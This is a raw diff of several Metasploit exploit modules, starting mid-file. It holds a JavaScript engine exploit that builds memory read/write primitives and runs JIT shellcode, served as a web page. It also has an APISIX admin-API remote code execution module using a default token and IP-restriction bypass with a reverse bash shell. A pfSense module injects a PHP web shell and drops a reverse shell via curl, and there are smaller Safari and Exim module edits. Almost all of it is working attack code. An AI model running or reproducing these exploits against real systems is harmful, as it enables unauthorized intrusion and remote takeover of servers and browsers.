// arguments[2]+ - Numbers to pad to the right reallocation size
function setup_prim() {
// Base case of our recursion
// If we have reached the end of the original spray array...
if(arguments[1] == TOTAL) {
// Delete an argument to generate the RareArgumentsData pointer
delete arguments[3];
// Read out of bounds to the next object (sprayed objects)
// Check whether the RareArgumentsData pointer is null
if(evil[511] != 0) return arguments;
// If it was null, then we return and try the next one
return 0;
}
// Get the cons value
let cons = arguments[0][arguments[1]];
// Move the pointer (could just do cons.p481 = 481, but this is more fun)
new cons();
// Recursive call
res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 );
// If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it
if(res != 0) return res;
// Otherwise, repeat the base case (delete an argument)
delete arguments[3];
// Check if the next object has a null RareArgumentsData pointer
if(evil[511] != 0) return arguments; // Return arguments if not
// Otherwise just return 0 and try the next one
return 0;
}
// weak_read32 - Bit-by-bit read
function weak_read32(arg, addr) {
// Set the RareArgumentsData pointer to the address
evil[511] = addr;
// Used to hold the leaked data
let val = 0;
// Read it bit-by-bit for 32 bits
// Endianness is taken into account
for(let i = 32; i >= 0; i--) {
val = val << 1; // Shift
if(arg[i] == undefined) {
val = val | 1;
}
}
// Return the integer
return val;
}
// weak_read64 - Bit-by-bit read using BigUint64Array
function weak_read64(arg, addr) {
// Set the RareArgumentsData pointer to the address
evil[511] = addr;
// Used to hold the leaked data
val = new BigUint64Array(1);
val[0] = 0n;
// Read it bit-by-bit for 64 bits
for(let i = 64; i >= 0; i--) {
val[0] = val[0] << 1n;
if(arg[i] == undefined) {
val[0] = val[0] | 1n;
}
}
// Return the BigInt
return val[0];
}
// write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box
function write_nan(arg, addr) {
evil[511] = addr;
for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box
}
// write - Write a value to an address
function write(address, value) {
// Set the fake ArrayBuffer backing store address
address = dbl_to_bigint(address)
target_uint32arr[14] = parseInt(address) & 0xffffffff
target_uint32arr[15] = parseInt(address >> 32n);
// Use the fake ArrayBuffer backing store to write a value to a location
value = dbl_to_bigint(value);
fake_arrbuf[1] = parseInt(value >> 32n);
fake_arrbuf[0] = parseInt(value & 0xffffffffn);
}
// addrof - Gets the address of a given object
function addrof(arg, o) {
// Set the 5th property of the arguments object
arg[5] = o;
// Get the address of the 5th property
target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)
// Set the fake ArrayBuffer backing store to point to this location
target_uint32arr[14] = parseInt(target) & 0xffffffff;
target_uint32arr[15] = parseInt(target >> 32n);
// Read the address of the object o
return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]);
}
// shellcode - Constant values which hold our shellcode to pop xcalc.
function shellcode(){
#{shellcode_js}
}
// helper functions
var conv_buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(conv_buf);
var u64_buf = new Uint32Array(conv_buf);
function dbl_to_bigint(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function bigint_to_dbl(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
function main() {
let i = 0;
// ensure the shellcode is in jit rwx memory
for(i = 0;i < 0x5000; i++) shellcode();
// The jitme function returns arrays. We'll save them, just in case.
let arr_saved = [];
// Get the sprayed objects
let arr = init();
// This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled
let interesting = arr[arr.length - 10];
// Iterate over the vulnerable object array
for (i = 0; i < arr.length; i++) {
// Run the jitme function across the array
corr_arr = jitme(arr[i], interesting, i);
// Save the generated array. Never trust the garbage collector.
arr_saved[i] = corr_arr;
// Find the corrupted array
if(corr_arr.length != 491) {
// Save it for future evil
evil = corr_arr
break;
}
}
if(evil == 0) {
print("Failure: Failed to get the corrupted array");
return;
}
print("got the corrupted array " + evil.length);
TOTAL=arr.length;
arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480);
old_rareargdat_ptr = evil[511];
print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16));
iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value
counter = 0; // Used to prevent a while(true) situation
while(counter < 0x200) {
// Read the current address
output = weak_read32(arg, bigint_to_dbl(iterator));
// Check if it's the expected size value for our ArgumentsObject object
if(output == 0x1e10 || output == 0x1e20) {
// If it is, then read the ArgumentsData pointer
ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n));
// Get the pointer in ArgumentsData to RareArgumentsData
ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));
// ad_location + 8 points to the RareArgumentsData pointer, so this should match
// We do this because after spraying arguments, there may be a few ArgumentObjects to go past
if((ad_location + 8n) == ptr_in_argdat) break;
}
// Iterate backwards
iterator = iterator - 8n;
// Increment counter
counter += 1;
}
if(counter == 0x200) {
print("Failure: Failed to get AD location");
return;
}
print("AD location: " + ad_location.toString(16));
// The target Uint32Array - A large size value to:
// - Help find the object (Not many 0x00101337 values nearby!)
// - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes)
target_uint32arr = new Uint32Array(0x101337);
// Find the Uint32Array starting from the original leaked Nursery pointer
iterator = dbl_to_bigint(old_rareargdat_ptr);
counter = 0; // Use a counter
while(counter < 0x5000) {
// Read a memory address
output = weak_read32(arg, bigint_to_dbl(iterator));
// If we have found the right size value, we have found the Uint32Array!
if(output == 0x101337) break;
// Check the next memory location
iterator = iterator + 8n;
// Increment the counter
counter += 1;
}
if(counter == 0x5000) {
print("Failure: Failed to find the Uint32Array");
return;
}
// Subtract from the size value address to get to the start of the Uint32Array
arr_buf_addr = iterator - 40n;
// Get the Array Buffer backing store
arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n));
print("AB Location: " + arr_buf_loc.toString(16));
// Create a fake ArrayBuffer through cloning
iterator = arr_buf_addr;
for(i=0;i<64;i++) {
output = weak_read32(arg, bigint_to_dbl(iterator));
target_uint32arr[i] = output;
iterator = iterator + 4n;
}
// Cell Header - Set it to Nursery to pass isNursery()
target_uint32arr[0x3fffa] = 1;
// Write an unboxed pointer to arguments[0]
evil[512] = bigint_to_dbl(arr_buf_loc);
// Make it NaN-Boxed
write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0]
// From here we have a fake UintArray in arg[0]
// Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]
fake_arrbuf = arg[0];
// Get the address of the shellcode function object
shellcode_addr = addrof(arg, shellcode);
print("Function is at: " + shellcode_addr.toString(16));
// Get the jitInfo pointer in the JSFunction object
jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_
print(" jitinfo: " + jitinfo.toString(16));
// We can then fetch the RX region from here
rx_region = weak_read64(arg, bigint_to_dbl(jitinfo));
print(" RX Region: " + rx_region.toString(16));
iterator = rx_region; // Start from the RX region
found = false
// Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode.
for(i = 0; i < 0x800; i++) {
data = weak_read64(arg, bigint_to_dbl(iterator));
if(data == 0x41414141n) {
iterator = iterator + 8n;
found = true;
break;
}
iterator = iterator + 8n;
}
if(!found) {
print("Failure: Failed to find the JIT start");
return;
}
// We now have a pointer to the start of the shellcode
shellcode_location = iterator;
print("Shellcode start: " + shellcode_location.toString(16));
// And can now overwrite the previous jitInfo pointer with our shellcode pointer
write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));
print("Triggering...");
shellcode(); // Triggering our shellcode is as simple as calling the function again.
}
main();
JS
jscript = add_debug_print_js(jscript)
html = %(
<html>
<script>
#{jscript}
</script>
</html>
)
send_response(cli, html, {
'Content-Type' => 'text/html',
'Cache-Control' => 'no-cache, no-store, must-revalidate',
'Pragma' => 'no-cache', 'Expires' => '0'
})
end
end
@@ -0,0 +1,270 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'APISIX Admin API default access token RCE',
'Description' => %q{
Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access
all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x
version. This module also leverages another vulnerability to bypass the IP restriction plugin.
},
'Author' => [
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
'YuanSheng Wang <membphis[at]gmail.com>' # discovered
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-13945'],
['CVE', '2022-24112'],
['URL', 'https://github.com/apache/apisix/pull/2244'],
['URL', 'https://seclists.org/oss-sec/2020/q4/187'],
['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3']
],
'DisclosureDate' => '2020-12-07',
'Arch' => ARCH_CMD,
'Platform' => %w[unix],
'Targets' => [
[
'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']),
OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']),
OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1'])
])
end
def check
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
# batch request is the preferred method because it bypass the ip-restriction plugin
res = nil
if batch_request_enabled?
pipeline = [
{
method: 'GET',
path: "#{target_uri.path}/admin/routes"
}
]
res = batch_request(batch_body(pipeline))
vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200
pipeline = [
{
method: 'GET',
path: "#{target_uri.path}/admin/routes/index"
}
]
res = batch_request(batch_body(pipeline))
else
vprint_error('The batch-requests plugin is not enabled')
vprint_good('There is direct access to the routes using the provided token') if direct_access?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
'method' => 'GET'
})
end
unless res && res.headers.key?('Server')
return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
end
res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
server = Regexp.last_match(1) || nil
version = Rex::Version.new(Regexp.last_match(2)) || nil
if server && server.match(/APISIX/)
vprint_status("Found an #{server} #{version} http server header")
return Exploit::CheckCode::Appears if version > Rex::Version.new('2')
end
return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')
end
def exploit
# batch request is the preferred method because it bypass the ip-restriction plugin
if batch_request_enabled?
@payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}"
filter_func_exec
# trigger the payload
apisix_request({
'uri' => normalize_uri(@payload_uri),
'method' => 'GET'
})
else
add_route
end
handler
end
def cleanup
return unless @payload_uri
data = {
'uri' => @payload_uri
}
pipeline = [
{
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
'method' => 'DELETE',
'body' => JSON.dump(data)
}
]
vprint_status("Deleting route #{@payload_uri}")
# remove the route
res = batch_request(batch_body(pipeline))
vprint_error('Unable to delete the route') unless res.code == 200
end
def apisix_request(params = {})
params.merge!({
'ctype' => 'application/json',
'headers' => {
'X-API-KEY' => datastore['API_KEY'],
'Accept' => '*/*',
'Accept-Encoding' => 'gzip, deflate'
}
})
send_request_cgi(params)
end
# Using batch request to bypass ip-restriction policies (CVE-2022-24112)
def batch_request(data = nil)
params = {
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
'method' => 'POST'
}
params.merge!({ 'data' => data }) if data
apisix_request(params)
end
def batch_body(pipeline = [])
headers = {
'X-Real-IP': datastore['ALLOWED_IP'].to_s,
'X-API-KEY' => datastore['API_KEY'].to_s,
'Content-Type' => 'application/json'
}
{
'headers' => headers,
'timeout' => 1500,
'pipeline' => pipeline
}.to_json
end
def base_data
{
'uri' => Rex::Text.rand_text_alpha_lower(6),
'upstream' => {
'type' => 'roundrobin',
'nodes' => { Faker::Internet.domain_name.to_s => 1 }
}
}
end
def add_route
# This method use the script parameter to execute the payload
stub = "os.execute('PAYLOAD');".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })
# binding.pry
data = base_data.merge({
'script' => stub
})
uri = normalize_uri(target_uri.path, '/admin/routes')
if batch_request_enabled?
pipeline = [
{
'method' => 'POST',
'path' => uri,
'body' => data
}
]
batch_request(batch_body(pipeline))
else
params = {
'method' => 'POST',
'uri' => uri,
'data' => JSON.dump(data)
}
apisix_request(params)
end
end
def filter_func_exec
# This method use the filter_func parameter to execute the payload
stub = "function(vars) os.execute('PAYLOAD'); return true end".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })
data = base_data.merge({
'uri' => @payload_uri,
'name' => Rex::Text.rand_text_alpha_lower(6),
'filter_func' => stub
})
if batch_request_enabled?
pipeline = [
{
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
'method' => 'PUT',
'body' => JSON.dump(data)
}
]
# add the route
res = batch_request(batch_body(pipeline))
vprint_error('Unable to create route') unless res.code == 200
else
params = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),
'data' => JSON.dump(data)
}
apisix_request(params)
end
end
def direct_access?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, '/admin/routes'),
'method' => 'GET'
})
return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/)
true
end
def batch_request_enabled?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
'method' => 'POST'
})
return false if res.code == 404
true
end
end
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpServer::BrowserExploit
def initialize(info = {})
super(
@@ -42,6 +42,11 @@ class MetasploitModule < Msf::Exploit::Remote
['CVE', '2020-9856'],
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ],
'Stability' => [CRASH_SAFE]
},
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
@@ -52,9 +57,6 @@ class MetasploitModule < Msf::Exploit::Remote
'DisclosureDate' => '2020-03-18'
)
)
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]),
])
end
def exploit_js
@@ -464,12 +466,6 @@ class MetasploitModule < Msf::Exploit::Remote
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
user_agent = request['User-Agent']
print_status("Request #{request.uri} from #{user_agent}")
if request.uri.ends_with? '.pdf'
@@ -522,20 +518,7 @@ class MetasploitModule < Msf::Exploit::Remote
#{exploit_js}
JS
if datastore['DEBUG_EXPLOIT']
debugjs = %^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(%r{//.*$}, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
jscript = add_debug_print_js(jscript)
pdfpath = datastore['URIPATH'] || get_resource
pdfpath += '/' unless pdfpath.end_with? '/'
pdfpath += "#{Rex::Text.rand_text_alpha(4..8)}.pdf"
@@ -0,0 +1,227 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense Diag Routes Web Shell Upload',
'Description' => %q{
This module exploits an arbitrary file creation vulnerability in the pfSense
HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
and can be exploited by an authenticated user if they have the
"WebCfg - Diagnostics: Routing tables" privilege.
This module uses the vulnerability to create a web shell and execute payloads
with root privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
'jbaines-r7' # metasploit module
],
'References' => [
['CVE', '2021-41282'],
['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
],
'DisclosureDate' => '2022-02-23',
'Platform' => ['unix', 'bsd'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
},
'Payload' => {
'Append' => ' & disown'
}
}
],
[
'BSD Dropper',
{
'Platform' => 'bsd',
'Arch' => [ARCH_X64],
'Type' => :bsd_dropper,
'CmdStagerFlavor' => [ 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
]
@webshell_uri = '/'
@webshell_path = '/usr/local/www/'
end
# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
# pfsense permissions can be so locked down that we have to try direct exploitation
# in order to determine vulnerability. A user can even be restricted from the
# dashboard (where other pfsense modules extract the version).
def check
# Grab a CSRF token so that we can log in
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
return CheckCode::Unknown('Could not find CSRF token') unless csrf
# send the log in attempt
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
}
)
return CheckCode::Detected('No response to log in attempt.') unless res
return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
# save the auth cookie for later user
@auth_cookies = res.get_cookies
# attempt the exploit. Upload a random file to /usr/local/www/ with random contents
filename = Rex::Text.rand_text_alpha(4..12)
contents = Rex::Text.rand_text_alpha(16..32)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
'cookie' => @auth_cookies,
'encode_params' => false,
'vars_get' => {
'isAjax' => '1',
'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
}
})
return CheckCode::Safe('No response to upload attempt.') unless res
return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
# Validate the exploit was successful by requesting the uploaded file
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
return CheckCode::Safe('No response to exploit validation check.') unless res
return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
register_file_for_cleanup("#{@webshell_path}#{filename}")
CheckCode::Vulnerable()
end
# Using the path traversal, upload a php webshell to the remote target
def drop_webshell
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
print_status("Uploading webshell to #{webshell_location}")
# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
'cookie' => @auth_cookies,
'encode_params' => false,
'vars_get' => {
'isAjax' => '1',
'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
}
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
# Test the web shell installed by echoing a random string and ensure it appears in the res.body
print_status('Testing if web shell installation was successful')
rand_data = Rex::Text.rand_text_alphanumeric(16..32)
res = execute_via_webshell("echo #{rand_data}")
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
print_good("Web shell installed at #{webshell_location}")
# This is a great place to leave a web shell for persistence since it doesn't require auth
# to touch it. By default, we'll clean this up but the attacker has to option to leave it
if datastore['DELETE_WEBSHELL']
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
end
end
# Executes commands via the uploaded webshell
def execute_via_webshell(cmd)
if target['Type'] == :bsd_dropper
# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
# way to force the payload to background itself (and thus allow the HTTP response to
# to return). So we hack it in ourselves. This identifies the ending file cleanup
# which should be right after executing the payload.
cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
'vars_get' => {
'cmd' => cmd
}
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
res
end
def execute_command(cmd, _opts = {})
execute_via_webshell(cmd)
end
def exploit
# create a randomish web shell name if the user doesn't specify one
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
drop_webshell
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :bsd_dropper
execute_cmdstager
end
end
end
@@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
end
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n")
ehlo_resp.each_line do |line|
print_status("EHLO: #{line.strip}")
end
@@ -145,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Remote
from = datastore['MAILFROM']
to = datastore['MAILTO']
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
resp = smtp_send_recv("MAIL FROM: #{from}\r\n")
resp ||= 'no response'
msg = "MAIL: #{resp.strip}"
if not resp or resp[0,3] != '250'
@@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status(msg)
end
resp = raw_send_recv("RCPT TO: #{to}\r\n")
resp = smtp_send_recv("RCPT TO: #{to}\r\n")
resp ||= 'no response'
msg = "RCPT: #{resp.strip}"
if not resp or resp[0,3] != '250'
@@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status(msg)
end
resp = raw_send_recv("DATA\r\n")
